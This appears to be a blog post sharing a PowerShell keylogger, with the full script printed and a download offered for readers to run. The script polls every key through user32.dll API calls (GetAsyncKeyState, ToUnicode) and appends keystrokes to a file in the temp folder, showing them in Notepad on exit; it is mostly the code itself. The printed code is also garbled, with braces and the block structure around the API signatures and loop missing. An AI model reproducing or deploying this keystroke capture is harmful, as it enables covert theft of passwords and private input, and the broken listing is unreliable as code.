Creating a Simple Keylogger using PowerShell [Download]


We all know that PowerShell is a powerful scripting tool on Windows but this little sample of creating a simple keylogger program purely from PowerShell is definitely taking the power to a different level. Credit goes to for making this happen.

See the code below for your reference but you can also skip to the bottom to download the source code and run it to see how it works as well. Basically, by engaging the Windows low-level API functions, this script constantly monitor the keyboard for keypresses and log these to a temporary file in your temporary folder and displays the content in Notepad when it’s done.

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
  # Signatures for API Calls
  $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

  # load signatures and make members available
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  # create output file
  $null = New-Item -Path $Path -ItemType File -Force

    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

    # create endless loop. When user presses CTRL+C, finally-block
    # executes and shows the collected key presses
    while ($true) {
      Start-Sleep -Milliseconds 40
      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
    # open logger file in Notepad
    notepad $Path

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes

Windows PowerShell ISE 2015 12 10 11 05 13 600x404 - Creating a Simple Keylogger using PowerShell [Download]

It’s quite fascinating seeing what PowerShell can do. Simply download the file from below and Run it with PowerShell from the context menu.



Please enter your comment!
Please enter your name here